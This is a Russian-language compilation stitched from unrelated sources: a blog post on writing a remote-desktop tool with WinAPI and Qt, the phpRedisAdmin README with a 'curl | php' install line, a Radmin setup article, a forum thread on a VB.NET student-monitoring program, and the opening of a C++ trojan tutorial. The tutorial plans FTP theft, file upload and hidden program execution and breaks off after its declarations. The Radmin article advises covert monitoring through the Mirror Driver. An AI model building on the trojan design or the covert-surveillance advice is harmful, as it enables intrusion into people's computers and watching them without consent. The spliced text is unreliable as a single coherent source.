Как написать свой радмин

delirium_00 оптимистично Дом

January 8 2015, 12:12

Сразу предупрежу, в посте присутствует много непотребного WinAPI, поэтому слабонервным просьба не читать:)

Началось все с идеи коммерческого проекта, частью которого являлся бы функционал удаленного рабочего стола (и клиентская и серверная части). Стал гуглить на эту тему и нашел в msdn простые и понятные примеры на c# с использованием .Net. Но писать весь проект на богомерзком c# только из-за этой части не хотелось.

Пришлось пойти по непроторенному тернистому пути WindowsAPI и COM-объектов. Во всяком случае, таковым мне этот путь представлялся на тот момент. Я объясню почему.
То, что в c# является встроенными в соответствующие пространства имен готовыми классами и пишется двумя строчками, в с++ вызывается через API COM-подсистемы.

c#:

// Create a new RdpSession instance
m_pRdpSession = new RDPSession();
 
// Start the Sharing Session
m_pRdpSession.Open();
 
// Create invitation.
IRDPSRAPIInvitation pInvitation = m_pRdpSession.Invitations.CreateInvitation("WinPresenter","PresentationGroup","",5);
string invitationString = pInvitation.ConnectionString;

c++:

 CLSID c1 = __uuidof(RDPSession);
 CLSID c2 = __uuidof(IRDPSRAPISharingSession);
 hr = CoCreateInstance(c1, NULL, CLSCTX_ALL, c2, (LPVOID*)&pRDPSession); 
 if(FAILED(hr)) throw(exception("Rdpcomapi.RDPSession not registered"));
 
  hr = pRDPSession->Open(); 
 if(FAILED(hr)) throw(exception("Unable to open RDP session"));
 
  SetNotification(/*this->winId()*/0, 0, true);
 
  hr = pRDPSession->get_Invitations(&pInvitationManager);
 if(FAILED(hr)) throw(exception("Unable to get invitation manager"));
 
 long L = 1;
 hr = pInvitationManager->CreateInvitation(
  NULL,//auth_string,
  group,
  pass,
  L,
  &pInvitation
 );
  if(FAILED(hr)) throw(exception("Unable to create invitation"));
 
 hr = pInvitation->get_ConnectionString(&connection_string);
 if(FAILED(hr)) throw(exception("Unable to get connection string"));

Кстати говоря, с COM и WindowsAPI я совсем не дружу, как и с системным программированием в целом, поэтому код может выглядеть жутковато для профессионала:) Притом в MSDN документированы только некоторые ключевые моменты работы с этими объектами и интерфейсами. Остальное приходилось додумывать либо искать в других источниках.
Мне повезло, я наткнулся на программу с открытым кодом одного доброго человека. Сейчас он удалил ту статью, поэтому ссылку дать не могу. Но могу сказать, что там была прекрасная реализация клиента и сервера RDP. НО, Michael перегнул палку в другую сторону, и написал ВСЕ на чистом WinAPI. Мне же хотелось, чтобы все было сделано наиболее подходящими для этого инструментами. Интерфейс и сетевая часть — Qt, сервер RDP — с использованием WinAPI, Клиент RDP — использование соответсвующего ActiveX компонента через QQxWidget.

Сервер состоит из класса TRDPServer, содержащего в виде делегатов

IRDPSRAPIInvitationManager, IRDPSRAPIInvitation (приглашения), IRDPSRAPIAttendee (подключения), экземпляр класса TRDPSessionEvents (события от подключений).

//Класс для обеспечения доступа к данному компьютеру через RDP
class TRDPServer{
protected:
  IRDPSRAPISharingSession * pRDPSession; 
 IRDPSRAPIInvitationManager * pInvitationManager;
 IRDPSRAPIInvitation * pInvitation;
 ATTENDEE * Attendee;
 TRDPSessionEvents SessionEvents;
 IConnectionPointContainer * pIConnectionPointContainer;
 IConnectionPoint * pIConnectionPoint;
 int Cookie;
 
  void OpenSession();
 void CloseSession();
 QString GetConnectionString();
public:
  TRDPServer();
  ~TRDPServer();
 
  bool SetNotification(HWND en, UINT msg, bool A);
 void HandleNotification(DISPID id, DISPPARAMS * p);
};

Помимо функционала открытия RDP-сессии, описанного выше, класс TRDPServer обрабатывает события от подключений:

void TRDPServer :: HandleNotification(DISPID id, DISPPARAMS * p)
{
 IDispatch* j = 0;
 VARIANT x;
 unsigned int y = 0;
 HRESULT hr = 0;
 
 switch(id)
 {
  case DISPID_RDPSRAPI_EVENT_ON_ATTENDEE_CONNECTED:
  {
    x.vt = VT_DISPATCH;
   x.pdispVal = j;
   x.vt = VT_DISPATCH;
   hr = DispGetParam(p, 0, VT_DISPATCH, &x, &y);
   if (FAILED(hr))
    return;
   IDispatch* d = x.pdispVal;
   if (!d)
    return;
 
   //Пока разрешено только одно подключение
   Attendee = new ATTENDEE(d);
   d->Release();
   break;
  };
 
  case DISPID_RDPSRAPI_EVENT_ON_ATTENDEE_DISCONNECTED:
  {
   x.vt = VT_DISPATCH;
   x.pdispVal = j;
   hr = DispGetParam(p, 0, VT_DISPATCH, &x, &y);
   if (FAILED(hr))
    return;
   IDispatch* d = x.pdispVal;
   if (!d)
    return;
 
   IRDPSRAPIAttendeeDisconnectInfo* a = 0;
   d->QueryInterface(__uuidof(IRDPSRAPIAttendeeDisconnectInfo), (void**)&a);
   if (!a)
    return;
 
   IRDPSRAPIAttendee* at = 0;
   a->get_Attendee(&at);
   if (at)
   {
    Attendee->Release();
    at->Release();
   };
 
   a->Release();
   break;
  };
 
  case DISPID_RDPSRAPI_EVENT_ON_CTRLLEVEL_CHANGE_REQUEST:
  {
   x.vt = VT_INT;
   x.pdispVal = j;
   hr = DispGetParam(p, 1, VT_INT, &x, &y);
   if (FAILED(hr))
    return;
   int Lev = x.intVal;
   x.vt = VT_INT;
   x.pdispVal = j;
   hr = DispGetParam(p, 0, VT_DISPATCH, &x, &y);
   if (FAILED(hr))
    return;
   IDispatch* d = x.pdispVal;
   if (!d)
    return;
   IRDPSRAPIAttendee* a = 0;
   d->QueryInterface(__uuidof(IRDPSRAPIAttendee), (void**)&a);
   if (!a)
    return;
    Attendee->SetControl(Lev);
   a->Release();
   break;
  };
 }; //switch
};

И класс TRDPSessionEvents, унаследованный от интерфейса _IRDPSessionEvents, и определяющий его методы для получения событий от подключений.

//Класс для получения событий (Подключение, Запрос управления, Отключение)
//от интерфейса _IRDPSessionEvents и передачи их классу TRDPServer
class TRDPSessionEvents : public _IRDPSessionEvents {
private:
 int refNum;
 HWND nen;
 UINT msg;
 TRDPServer * Parent;
public:
 TRDPSessionEvents();
 ~TRDPSessionEvents();
  //Привязка событий к TSharer
 void SetNotification(HWND, UINT, TRDPServer * p);    
 
 // IUnknown
  virtual HRESULT STDMETHODCALLTYPE QueryInterface( 
      /* [in] */ REFIID riid,
      /* [iid_is][out] */ __RPC__deref_out void __RPC_FAR *__RPC_FAR *ppvObject);
 
  virtual ULONG STDMETHODCALLTYPE AddRef( void);
 
  virtual ULONG STDMETHODCALLTYPE Release( void);
 
 
 // IDispatch
 virtual HRESULT STDMETHODCALLTYPE GetTypeInfoCount( 
        /* [out] */ __RPC__out UINT *pctinfo);
 
 virtual HRESULT STDMETHODCALLTYPE GetTypeInfo( 
        /* [in] */ UINT iTInfo,
        /* [in] */ LCID lcid,
        /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);
 
  virtual HRESULT STDMETHODCALLTYPE GetIDsOfNames( 
        /* [in] */ __RPC__in REFIID riid,
        /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,
        /* [range][in] */ UINT cNames,
        /* [in] */ LCID lcid,
        /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);
 
  virtual /* [local] */ HRESULT STDMETHODCALLTYPE Invoke( 
        /* [in] */ DISPID dispIdMember,
        /* [in] */ REFIID riid,
        /* [in] */ LCID lcid,
        /* [in] */ WORD wFlags,
        /* [out][in] */ DISPPARAMS *pDispParams,
        /* [out] */ VARIANT *pVarResult,
        /* [out] */ EXCEPINFO *pExcepInfo,
        /* [out] */ UINT *puArgErr);
};

В клиентской части просто в QtDesigner кладем на форм компонент QAxWidget:

Определяем компонент через его GUID и обращаемся к его методам через dynamicCall:

  axRDPClientWidget->setControl("{32BE5ED2-5C86-480F-A914-0FF8885A1B3F}");
 
  axRDPClientWidget->dynamicCall(
    "Connect(QString,QString,QString)", 
    QString().fromStdString(ticket),
    QString("HeplerGroup"),
    QString("")
  );

Я опускаю подробности передачи приглашения от сервера к клиенту. В примерах в интернете все сделано через файл, в моем проекте через HTTP сервер. После подключения клиента к серверу нужно запросить у него права на управление компьютеров и вуаля, все работает:


После очередной просьбы выложил исходники в открытый доступ: https://github.com/DeliriumV01D/Helper

phpRedisAdmin

phpRedisAdmin is a simple web interface to manage Redis
databases. It is released under the
Creative Commons Attribution 3.0 license.
This code is being developed and maintained by Erik Dubbelboer.

You can send comments, patches, questions
here on github
or to erik@dubbelboer.com.

Example

You can find an example database at
http://dubbelboer.com/phpRedisAdmin/

Installing/Configuring

To install phpRedisAdmin through composer you need to execute the following commands:

curl -s http://getcomposer.org/installer | php
php composer.phar create-project -s dev erik-dubbelboer/php-redis-admin path/to/install

You may also want to copy include/config.simple.inc.php to include/config.inc.php
and edit it with your specific redis configuration.

Instead of using composer, you can also do a manual install using:

git clone https://github.com/firedtoad/radmin.git

TODO

  • Encoding support for editing
  • Javascript sorting of tables
  • Better error handling
  • Move or Copy key to different server
  • Importing JSON
  • JSON export with seperate objects based on your seperator

Credits

Icons by http://p.yusukekamiyamane.com/ (https://github.com/yusukekamiyamane/fugue-icons/tree/master/icons-shadowless)

Favicon from https://github.com/antirez/redis-io/blob/master/public/images/favicon.png

На чтение 6 мин. Опубликовано 15.09.2021

Современные проблемы требуют современных решений. Все больше компаний и простых пользователей внедряют в свою жизнь информационные технологии. Порой, бывает трудно сразу разобраться со всеми функциями и особенности их работы, особенно людям старшего возраста. Еще несколько лет подобные проблемы специалисты были вынуждены устранять по телефону или лично приехав на место.

Сегодня решить практически любую проблему можно с помощью удаленного доступа.

Разные программы предоставляют пользователям удаленный доступ к компьютерам, за счет чего можно гораздо быстрее устранять ошибки, контролировать работу устройств и повысить эффективность.

Рынок предоставляет большое количество вариантов, однако у каждой есть недостатки и лишь немногие приложения можно назвать идеальными. Сегодня будем разбираться, как работает Radmin удаленный доступ.

Содержание

  1. Общая характеристика программы Radmin
  2. Из чего состоит программа
  3. Как установить и настроить серверную часть программы Radmin
  4. Как подключиться к другому компьютеру с помощью программы Радмин
  5. Как выполнить удаленное подключение с помощью Интернета
  6. Создание книги адресов
  7. Как выполнить экспорт данных в отдельный файл

Общая характеристика программы Radmin

Программа предоставляет пользователям получать удаленный доступ к устройствам других людей. Работы программа основана на принципе «Клиент-сервер». У пользователей есть возможность бесплатно скачать полную версию программы и оценить ее функциональные и технические возможности.

У программы простой и удобный интерфейс – все необходимые инструменты расположены на одной панели в верхней части экрана. Каждая иконка подписана. Разберется даже человек, который никогда раннее не сталкивался с подобными программами. Использование данной программы будет полезно не только программистам – ее можно использовать в школах, университетах, на предприятиях и др. Благодаря программе Radmin, системный администратор локальной сети может создать четкую структуру расположения компьютеров, объединить их в группы согласно их расположению, частоте использования, цели применения и др.

Из чего состоит программа

У программы две части – серверная и управляющая. Серверная часть устанавливается на компьютеры, на которые планируется установить удаленное управление, а управляющая непосредственно на компьютер системного администратора.

Программа совместима со всеми основными операционными системами: macOS, Linux, Windows – от 95-й версии до современных.

Особенность программы в том, что она позволяет скрыто наблюдать за другими компьютерами. Подключение не будет отображаться и пользователю управляемого компьютера даже не будет знать, что администратор в данный момент наблюдает за его действиями. Также, работать с программой можно только в локальной сети.

Как установить и настроить серверную часть программы Radmin

Для начала, необходимо определить четкое количество компьютеров, на которые необходимо установить Radmin удаленный доступ. Перед установкой, программу нужно скачать.

Скачать программу можно несколькими способами:

  1. На нашем сайте по соответствующей ссылке.
  2. На официальном сайте разработчика.
  3. На сторонних сайтах и торрентах.

Будьте внимательны, когда скачиваете программу на непроверенных сайтах. Доверьтесь надежным источникам. На нашем сайте вы найдете оригинальную версию программы, которая заключена в файле, защищенном от компьютерных вирусов и шпионских программ.

Итак, начинаем скачивание программы:

  1. Нажмите на кнопку «Загрузить файл». В новой вкладке откроется ссылка на страницу скачивания.
  2. Нажмите «Скачать». После этого, загрузится файл, в котором есть и управляющая, и сервисная части программы. Файл будет сохранен в архив.
  3. «Распакуйте» архив и найдите файл с названием сервисной части.

После этого, можно начинать установку программы, а начинать ее следует именно с установки сервисной части.

  1. Открыть файл с сервисной частью.
  2. Нажать кнопку «далее» и подтвердить, что пользователь ознакомлен с Лицензионным соглашением.
  3. Нажать кнопку «Установить» и дождаться завершения процесса установки. После завершения, нажать «Готово» и запустить программу.

Переходим к настройке сервисной части.

  1. Выбрать автоматический запуск программы во вкладке «Режим запуска».
  2. Во вкладке «Общие настройки» необходимо найти номер порта и запомнить его или выписать куда-нибудь.
  3. Если требуется, что пользователь не знал о подключении администратора, в разделе «Разное» необходимо отметить пункт «Загружать Mirror Driver».

После настройки самой программы необходимо настроить права доступа. Здесь создается имя ПК, пароль и для каждого отмечается доступ – полный доступ, просмотр, управления, чат и др. Когда все настройки выполнены, необходимо перезапустить компьютер.

Как подключиться к другому компьютеру с помощью программы Радмин

Получить Radmin удаленный доступ поможет другой компонент системы — управляющий или Radmin Viewer. Устанавливаем соответствующую программу, шаги те же, как и с серверной частью. Запускаем приложение и активируем новое соединение. После этого необходимо ввести адрес айпи компютера, где уже установлена серверная часть. После подтверждения введенных данных, необходимо ввести имя пользователя, пароль, которые уже раннее были введены на управляемом ПК. Готово – вы удаленно подключились к другому компьютеру.

Как выполнить удаленное подключение с помощью Интернета

Не всегда управляемые и управляющий компьютеры находятся в одной локальной сети. В таких ситуациях подключение можно выполнить через Интернет. Здесь потребуются некоторые знания устройств и сетей. Можно изменить настройки роутера – провести ряд нехитрых манипуляций и добиться подключения, а можно пойти более простой дорогой и использовать программу Radmin VPN. Она сама создает виртуальную локальную сеть и предлагаем массу других возможностей.

Эта программа бесплатная, скачать и установить ее легко. После установки, ее необходимо запустить и на главном компьютере создать локальную сеть, создать пароль и название сети. С управляемых компьютеров выполнить подключение к сети, а уже после этого все они будут видны в программе Radmin Viewer.

Создание книги адресов

Программа Radmin позволяет создавать адресную книгу компьютеров. В ней будут отражаться все адреса компьютеров, к которым было выполнено подключение. Все соединения можно хранить в удобном для пользователя формате – распределить по отдельным группам и хранить в папках. Папки можно организовать по подразделениям, отделам, офисам и другим критериям. В главном окне программы также можно создать дерево папок. Если выполнить экспорт всех настроек в отдельный файл, то можно получить доступ к данным программы с любого устройства.

Как выполнить экспорт данных в отдельный файл

  1. Откройте программу Radmin
  2. На верхней панели инструментов нажать на вкладку «Сервис». В раскрывающемся списке выбрать «Экспорт адресной книги».
  3. После этого, необходимо создать имя файла и выбрать, где он будет хранится.
  4. Создав файл, перенесите его на внешний носитель и используйте при необходимости.
  5. Для переноса данных на другой компьютер, откройте программу, выберите во вкладке «Сервис» команду «Импорт адресной книги». Все данные будут перенесены с внешнего носителя на компьютер.

Если сравнить программу Radmin с другими приложениями-аналогами, например, TeamViewer, у первой программы масса преимуществ. Во-первых, бесплатная версия программы с полной функциональностью в течение тридцати дней. Стоимость полной версии Радмин гораздо ниже, чем TeamViewer. Ещё одним преимуществом является возможность подключаться удаленно к другим компьютерам незаметно — достаточно лишь один раз внести соответствующие настройки. Вторая программа требует постоянного запроса подключения и просто скрыто наблюдать не получится. Каждый новый сеанс при использовании бесплатной версии TeamViewer становится все короче по времени — ещё один недостаток программы.

Программа Радмин предоставляет все необходимые функции и инструменты для удаленного доступа к одному или нескольким компьютерам одновременно. Она позволяет управлять компьютерами, подключаться только в режиме просмотра, выполнять обмен данными или использовать функции текстового, звукового чата. Программа стабильная, не выбивает технические ошибки и сбои. Приложение Radmin по достоинству оценили профессионалы, благодаря уже не первый год программе удаётся удерживать лидирующие позиции на рынке приложений для удаленного доступа.

На мне висит много проектов…:( и никто помочь даже не пытается…
Сейчас пока не требуется код с вашей стороны, требуются советы как лучше и как логически реализовать.
Итак… Представили предпода:) ему необходимо следить за плохими студентами:) надо написать сетевого админа… Все это дело пишем на VisualBasic .Net 2008.
На компе предпода отображается список компов… Он выбирает комп и может как минимум увидеть список процессов, убить процесс, вывести сообщение, просмотреть что видно на мониторе студента, перезагруз. комп, выключить…
Теперь о логической работе? Как сделать это? Как посоветуете?
На компьютере студентов располагаем свою службу Windows, которая будет принимать команды? Только вот я вообще еще со службами не умею работать… Или как то иначе?
На компе предпода. Какой интерфейс лучше сделать? MDI окно с вложенными дочерними для каждого компа студента, т.е у MDI будет список всех компьютеров, там выбираем комп и появляется дочернее окно с PictureBox для просмотра его экрана и кнопок для комманд… Или без mdi но с TABCONTROL? Или еще как? Как лучше?
А как сделать лучше обмен между сервером и клиентом? Создать отдельную dll с классом типа:
private class Trans
public command as string
public list (of object)
End Trans
и сериализировать его для передачи комманд или как то иначе? Как?
Предложения есть? Как можно подробнее излагайте свои мысли.
Пишу в раздел Microsoft .Net framework, а не в «студентам» поскольку писать буду на VB.NET.
И после того, как вы выскажите мнения попытаемся использовать уже код на этом языке программирования…
Спасибо всем за внимание:)

26 ответов

2

06 января 2009 года

squirL

5.6K / / 13.08.2003

у вас ничего не выйдет. точка.

почему? потому что вы начали сразу думать о деталях реализации, когда еще нету ИДЕИ. вы изучили рынок? изучили имеющиеся продукты? выяснили, что вас в них не устраивает и какие плюсы можно взять от них? нет? тогда с вами не о чем говорить :(

1.8K

06 января 2009 года

NextTime

217 / / 19.12.2007

у вас ничего не выйдет. точка.

почему? потому что вы начали сразу думать о деталях реализации, когда еще нету ИДЕИ. вы изучили рынок? изучили имеющиеся продукты? выяснили, что вас в них не устраивает и какие плюсы можно взять от них? нет? тогда с вами не о чем говорить :(

Ну…. знаете….. Ваш подход верен…. Но я не буду выпускать продукт на массовый рынок. Это колледжовская работа….. тут сильно парится не нужно…. Ну а если говорить о твоем подходе….
Ну вот я работал с Radmin (Remote Administrator версии 2.2 и 3.2)….
Ну понравилось мне в принципе все….. Кроме слова Shareware))
Ну помоему при передаче файлов нельзя докачивать после обрыва(это в версии 2.2, в 3.2 незнаю….)
В общем равняться хочу на него…
но там интерфейс Viewer’a странен…. Для каждой операии открывается отдельное окно…. Реализовать не очень легко будет….
P.S. Еще мысли?)))

5

09 января 2009 года

hardcase

4.5K / / 09.08.2005

Принципиально организовать взаимодействие с удаленной машиной можно посредством .NET Remoting-а и сериализации объектов (на целевую машину нужно свой сервис ставить). Хотя конечно, еще остается WMI для управления (но это отдельная история).
Признаться, я не представляю как можно (быстро!) получать изображение с дисплея(ев) целевой машины. Функционал периодических снимков экрана — это достаточно просто, а вот получение функционала mstsc или radmin требует глубокого изучения графической системы виндов.

2

10 января 2009 года

squirL

5.6K / / 13.08.2003

это платформозависимо и требует монструозного .NET фреймворка.

автор — возьмите бесплатный vnc server & viewer (гугл покажет где) и изучите — что и куда. там открытые исходники. просто разберитесь

5

10 января 2009 года

hardcase

4.5K / / 09.08.2005

это платформозависимо и требует монструозного .NET фреймворка.

Смотря для чего ;) По мне так лучше сто мегабайтов уже гарантированно отлаженного кода, чем в очередной раз прикручивать какуюнить фиговину типа XML парсера, HTML-шаблонизатора или всяко-разного сериализатора.

автор — возьмите бесплатный vnc server & viewer (гугл покажет где) и изучите — что и куда. там открытые исходники. просто разберитесь

У него задача — изобрести велосипед. На .NET-е. Хотя я бы тоже посмотрел в те исходники.

2

10 января 2009 года

squirL

5.6K / / 13.08.2003

ну так кто мешает изучить исходники и сделать свой велосипед? реализовать RFB на .NET? передрав все что нужно с VNC и переписав это на .NET

241

10 января 2009 года

Sanila_san

1.6K / / 07.06.2005

За мой совет, конечно, подобает самозабаниться, но автору проще будет так или иначе приобрести Radmin — если я правильно понял, что автору надо решить задачу управления удалёнными компами, а не задачу написания программы, которая позволяет это делать. В таком случае дешевле и проще разобраться с VNC|Radmin|WMI, чем городить непонятно что или переписывать сишный код на дотнете. Тем более, что переписывать на дотнете задача тоже не самая тривиальная.

1.8K

12 января 2009 года

NextTime

217 / / 19.12.2007

За мой совет, конечно, подобает самозабаниться, но автору проще будет так или иначе приобрести Radmin — если я правильно понял, что автору надо решить задачу управления удалёнными компами, а не задачу написания программы, которая позволяет это делать. В таком случае дешевле и проще разобраться с VNC|Radmin|WMI, чем городить непонятно что или переписывать сишный код на дотнете. Тем более, что переписывать на дотнете задача тоже не самая тривиальная.

как раз обратное, мне нужно написать программу, а управлять то я и через радмин легко))

Цитата:

ну так кто мешает изучить исходники и сделать свой велосипед? реализовать RFB на .NET? передрав все что нужно с VNC и переписав это на .NET

На каком языке исходники…(потом посмотрю может быть)? смогу ли я? Я кроме VB.Net ни одного языка в принципе незнаю…

Цитата:

Признаться, я не представляю как можно (быстро!) получать изображение с дисплея(ев) целевой машины.

Ну если даже вы не знаете… Может мне забить?:D шучу))

14

12 января 2009 года

Phodopus

3.3K / / 19.06.2008

В радмине передается не дисплей целиком, а его изменения. Делается это через миррор-драйвер собственного написания. Тема для вас, судя по всему, неподъемная. Хотя я делал и тупую непрерывную передачу скриншотов целиком с возможностью захвата управления (передача клавиатуры и мыши в обратном направлении). Сильно грузит проц на клиенте.

1.8K

12 января 2009 года

NextTime

217 / / 19.12.2007

В радмине передается не дисплей целиком, а его изменения. Делается это через миррор-драйвер собственного написания. Тема для вас, судя по всему, неподъемная. Хотя я делал и тупую непрерывную передачу скриншотов целиком с возможностью захвата управления (передача клавиатуры и мыши в обратном направлении). Сильно грузит проц на клиенте.

Ну можно тоже че то типа миррор устроить…. сравнивать по-пиксельно…. и отдавать тока изменившиеся….. долго сравнивать правдо…
А полностью передавать легко…. захватил, серилизовал, отправил, десерилизовал, показал, правдо вот захват управления…. это жесть))

Ну можно тоже че то типа миррор устроить…. сравнивать по-пиксельно…. и отдавать тока изменившиеся….. долго сравнивать правдо…
А полностью передавать легко…. захватил, серилизовал, отправил, десерилизовал, показал, правдо вот захват управления…. это жесть))

Оно вам надо? Вроде как, в начале топика вы говорили о статичной картинке и простом наблюдении + завершении процессов и сеансов… Может, этим и стоит ограничиться? Тогда вполне реально.

241

13 января 2009 года

Sanila_san

1.6K / / 07.06.2005

В принципе можно картинку отправлять наблюдателю каждые 10 секунд, например, это не сильно ресурсоёмко, но картинка уже как бы не статическая.

В принципе можно картинку отправлять наблюдателю каждые 10 секунд, например, это не сильно ресурсоёмко, но картинка уже как бы не статическая.

Ну в этой схеме как бы наоборот надо: именно наблюдатель должен запрашивать картинку. А уж с какой скоростью он будет это делать — его заботы (точнее, надо сделать так, чтобы наблюдатель не мог выполнить новый запрос прежде, чем дождётся результатов предыдущего, и в частности результатов отмены, например).

1.8K

13 января 2009 года

NextTime

217 / / 19.12.2007

Оно вам надо? Вроде как, в начале топика вы говорили о завершении процессов и сеансов… Тогда вполне реально.

Про эту часть шел разговор….
а про

Вроде как, в начале топика вы говорили о статичной картинке и простом наблюдении

несовсем.
Это конечно такой Addition, но все равно хотелось бы уметь такое деать, интересно ведь очень!!!
Пока ограничемся завершением процессов и сеансов конечно, ну выдачей сообщения…

1.8K

13 января 2009 года

NextTime

217 / / 19.12.2007

Но тем не менее, мне бы хотелось обсудить передачу изображений, поскльку именно это самое сложное, а не закрытие процессов и выключение компа

5

13 января 2009 года

hardcase

4.5K / / 09.08.2005

Но тем не менее, мне бы хотелось обсудить передачу изображений, поскльку именно это самое сложное, а не закрытие процессов и выключение компа

Один из вариантов: кодируем изображение в 8-разрядный PNG и пишем в сеть.

14

13 января 2009 года

Phodopus

3.3K / / 19.06.2008

Один из вариантов: кодируем изображение в 8-разрядный PNG и пишем в сеть.

Я тогда в jpg кодировал. Но png несомненно будет лучшим вариантом если передаваться будет не только десктоп с бекграундом-фотографией :). Хотя сеть все-равно грузилась мало. Основная потеря времени состояла как-раз в процессе получения изображения экрана. Даже временем кодирования в jpg при подсчетах пренебрегал, если не путаю.

1.8K

13 января 2009 года

NextTime

217 / / 19.12.2007

Один из вариантов: кодируем изображение в 8-разрядный PNG и пишем в сеть.

Кратко при кратко, скажи как…. Какой класс, процедура?

5

13 января 2009 года

hardcase

4.5K / / 09.08.2005

Кратко при кратко, скажи как…. Какой класс, процедура?

Bitmap и NetworkStream. Bitmap умеет в заданном формате сохраняться в поток (метод Save). На другом конце можно будет прочитать.

1.8K

14 января 2009 года

NextTime

217 / / 19.12.2007

Как думаете, как лучше посторить обмен коммандами и данными?
Вариант:
Открываем 2 порта на сервере и на клиенте. Создаем класс со строковой переменной и массивом объектов на обоих сторонах. В строк. переменную ложим комманду, в массив параметры комманды и отправляем по порту комманд. На сервере(жертве, которую поймали) ловим команду и параметры, десериализируем, и по порту данных отправляем кадры либо активные процессы по тому же принципу: В строковую переменную ложим комманду(напр, «ISendActiveProccessesToYou»), а в массиве шлем названия процессов.
Если нужно посылать кадры(Скриншоты), то в строковую переменную ложим, допустим, «ISendScreens» и переодически посылаем друг за другом такие сереализированные классы по порту данных, не дожидаясь следующего запроса кадра. Если я хочу остановить посылку скринов, то, допустим, шлю комманду «StopScreens» по порту комманд и жертва перестает слать….
Не красивый метод, не спорю, но зато не тратится время на запрос нового кадра(скрина)
Или все таки методом «запрос-Ответ»? Есть идеи по-лучше моих ламерских?))

5

15 января 2009 года

hardcase

4.5K / / 09.08.2005

Как думаете, как лучше посторить обмен коммандами и данными?
Есть идеи по-лучше моих ламерских?))

Создаем дерево классов с абстрактным корнем Command. У него также должен быть какойнибудь абстрактный метод вроде DoCommand() (какие параметры у него будут, поймешь при реализации, сейчас трудно сказать). Все наследники должны быть сериализуемыми. Отправка команды — это ее сериализация в сетевой поток. Получение — это чтение и десериализация из потока. Полученный System.Object приводится к Command и у него вызвается метод DoCommand().

Создаем дерево классов с абстрактным корнем Command. У него также должен быть какойнибудь абстрактный метод вроде DoCommand() (какие параметры у него будут, поймешь при реализации, сейчас трудно сказать). Все наследники должны быть сериализуемыми. Отправка команды — это ее сериализация в сетевой поток. Получение — это чтение и десериализация из потока. Полученный System.Object приводится к Command и у него вызвается метод DoCommand().

По-видимому, в качестве параметра придётся передавать весь контекст (набор функций, реализуемых… эм… сервером?)

5

15 января 2009 года

hardcase

4.5K / / 09.08.2005

По-видимому, в качестве параметра придётся передавать весь контекст (набор функций, реализуемых… эм… сервером?)

А что тут такого. Замечательная задачка на виртуальные функции и контекст :)

А я и не говорю, что это плохо :) Более того:

Код:

[Serializable]
abstract class Response
{
    protected Response(string hostName)
    {
        _HostName = hostName;
    }

    public abstract void Perform(IResponseContext context);

    string _HostName;
    public string HostName
    {
        get{ return _HostName; }
    }
}

interface IResponseContext
{
    void ScreenshotRecieved(Image screenshot, string hostName);
}

interface ICommandContext
{
    Image TakeScreenshot();
    bool TerminateProcess(int id);
    bool TerminateProcess(string name);

    string HostName { get; }
}

[Serializable]
abstract class Command
{
    public abstract Response DoCommand(ICommandContext context);
}

class TakeScreenshotCommand : Command
{
    public override Response DoCommand(ICommandContext context)
    {
        Image image = context.TakeScreenshot();

       
        ScreenshotResponse retval = new ScreenshotResponse(context.HostName, image);

               
        return retval;
    }
}

class ScreenshotResponse : Response
{
    public ScreenshotResponse(string hostname, Image screenshot)
        : base(hostname)
    {
        _Screenshot = screenshot;
    }

    Image _Screenshot;

    public override void Perform(IResponseContext context)
    {
        context.ScreenshotRecieved(_Screenshot, HostName);
    }
}

Либо

Код:

interface IResponseContext
{
    void ScreenshotRecieved(ScreenshotResponse response);
}

class ScreenshotResponse : Response
{
    public ScreenshotResponse(string hostname, Image screenshot)
        : base(hostname)
    {
        _Screenshot = screenshot;
    }

    Image _Screenshot;
    public Image Screenshot
    {
        get { return _Screenshot; }
    }

    public override void Perform(IResponseContext context)
    {
        context.ScreenshotRecieved(this);
    }
}

в зависимости от… :)

1.8K

16 января 2009 года

NextTime

217 / / 19.12.2007

Ужас….
1.

Цитата:

А что тут такого. Замечательная задачка на виртуальные функции и контекст

Не согласен……
Мы формируем все функции на клиенте, отдаем их серверу, он выполнет…. Это некрасиво…. Во-первых, увеличивается нагрузка на сеть. Во-вторых, это не логично и не соответствует логике «Клиент-Сервер», «Запрос-Ответ». Да и подумать только с хакерской точки зрения….. Если не устроить авторизацию на сервере (а это нежелательно), то коннекться кто хочешь, диктуй мне функции, я выполню… Хоть комп уничтожу….
Единственный плюс: отлаживать придется фактически только клиент, сервер не нужно….
Я все таки придерживаюсь к своему алгоритму «Запрос-Ответ»… И пока меня не очень устраивает это решение….
2. Не могу полностью разобрать ваш код. Я не очень с интерфейсами, контекстами, абстрактности… ща по-читал и еще собирась читать MSDN…. Но все равно непонимаю я(( Я не профессионал как вы)). Не могли бы вы хорошо прокоментировать код и объяснить общую логику работы?

5

16 января 2009 года

hardcase

4.5K / / 09.08.2005

Пример клиент-серверного приложения (фактически на коленке написаный .NET Remoting), реализующего выполнение команд на сервере.

Архитектура проста. Есть класс CommandBase<T> являющийся базовым для всех команд. Тип-параметр T — это результат работы команды, специфичный для каждого класса команды. T должен быть наследником класса CommandResponse.

Клиент создает подключение к серверу, создает экземпляр команды (в примере это MachineNameCommand) и отправляет его серверу. Сервер выполняет ее и возвращает клиенту результат (экземпляр MachineNameCommandResponse).

З.Ы. Конечно, использование .NET Remoting гораздо предпочтительнее, нежели такие вот выкрутасы.

автор текста kiron56


Сегодня мы будем создавать троян, на С++. Для компиляции нам понадобится Visual C++ 6 или 5.
 Какие пимпы тыкать объяснять не буду, сам не маленький. 
Скажу только что надо создать Win32 Application, a simple Win32 Application.

Теперь подумаем, что этот трой должен делать? 
Для уменьшения размера оставим самые основные функции:
1. Скачивать файлы с FTP-сервера.
2. Закачивать файлы на FTP-сервер.
3. Запускать проги, двумя способами: скрытный и открытый.

Ну вот и всё, теперь приступим к кодингу.

Для начала в меню Build - Set Active Configuration - Win32 Release. Теперь тыкай в 
Project - Settings - Link. Там в поле Object /library module добавь вот это:
wininet.lib wsock32.lib. Не добавишь, компилироваться не будет! 

Так, самая лёгкая часть работы закончена. Теперь приступим непосредственно к кодингу.
В окне кода стери всё и напиши вот это:

#include "stdafx.h"
#include "stdio.h"
#include "winsock.h"
#include "wininet.h"

Заголовочные файлы мы подключили, теперь будем писать объявление переменных 
(следи за комментариями):

/* нужно чтобы стартануть winsock*/
WSADATA wsa;
/* собственно первый сокет*/
SOCKET s;
/*  переменные, в которых будут храниться временные данные */
char* temp;
char* temp2;
char* temp3;
